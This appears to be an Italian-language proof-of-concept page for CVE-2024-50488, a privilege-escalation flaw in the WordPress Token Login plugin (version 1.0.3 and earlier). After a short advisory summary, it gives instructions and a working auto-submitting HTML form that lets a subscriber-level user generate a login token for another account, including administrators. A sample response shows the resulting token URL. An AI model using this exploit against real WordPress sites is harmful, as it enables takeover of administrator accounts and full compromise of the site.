randomrobbiebf/cve-2024-50488Token Login <= 1.0.3 - Escalation dei privilegi da autenticato (Subscriber+)
Token Login <= 1.0.3 - Escalation dei privilegi da parte di utenti autenticati (Subscriber+)
Il plugin per WordPress 'Auto Login tramite URL tokenizzato sicuro. Restrizione di accesso in base al ruolo' è vulnerabile all'escalation dei privilegi tramite account takeover in tutte le versioni fino alla 1.0.3 inclusa. Il problema è dovuto al fatto che il plugin non verifica correttamente che un utente abbia i permessi per generare un token di accesso per altri utenti. Ciò consente a utenti autenticati, con accesso di livello Subscriber e superiore, di accedere come altri utenti, inclusi gli amministratori.
Published: 2024-10-25 00:00:00
CVE: CVE-2024-50488
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 8.8
Slugs: token-login
Effettua il login ed esegui questo invio HTML. Modifica l'URL con il sito WordPress su cui hai effettuato l'accesso. Modifica l'ID con l'utente per cui vuoi generare il token. Copia l'URL e potrai accedere come quell'utente.
<html>
<body>
<form action="http://kubernetes.docker.internal/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="tl_admin_ajax_action" />
<input type="hidden" name="method" value="regenerate_token" />
<input type="hidden" name="user_id" value="7" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Risposta
{"status":"success","message":"Successfully regenerated token!","token_url":"http:\/\/kubernetes.docker.internal?__token__=1c8dc9406bc444d1f5cea37fae130f92"}